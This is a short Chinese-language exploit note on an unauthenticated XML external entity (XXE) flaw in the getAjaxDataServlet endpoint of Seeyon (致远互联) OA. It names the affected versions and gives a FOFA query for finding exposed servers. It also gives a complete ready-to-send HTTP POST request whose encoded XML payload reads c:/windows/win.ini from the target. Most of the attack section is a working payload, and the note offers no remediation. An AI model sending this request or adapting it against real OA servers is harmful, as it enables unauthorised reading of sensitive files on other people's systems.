Z4-3致远互联-OA-XXE

漏洞描述：

致远互联-OA getAjaxDataServlet 接口处存在XML实体注入漏洞，未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件，获取敏感信息，使系统处于极不安全的状态。

影响版本：

V5/G6 V6.0及以上全系列版本  

网站图片:

网络测绘:

fofa语法：

FOFA：app=“致远互联-OA”

漏洞复现:

payload：

POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%5D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

效果图:
读取 c:/windows/win.ini